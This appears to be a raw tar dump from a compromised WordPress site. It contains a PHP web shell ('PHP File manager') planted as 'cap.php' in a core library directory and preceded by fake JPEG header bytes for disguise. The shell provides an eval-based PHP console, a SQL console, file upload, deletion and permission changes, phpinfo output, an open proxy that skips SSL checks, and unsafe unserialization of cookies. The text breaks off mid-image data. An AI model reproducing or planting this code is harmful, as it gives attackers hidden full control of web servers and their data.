	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                           cap.php.tar                                                                                         0000644                 00000240000 15217301621 0006577 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php                                  0000644                 00000234451 15217274014 0021221 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHai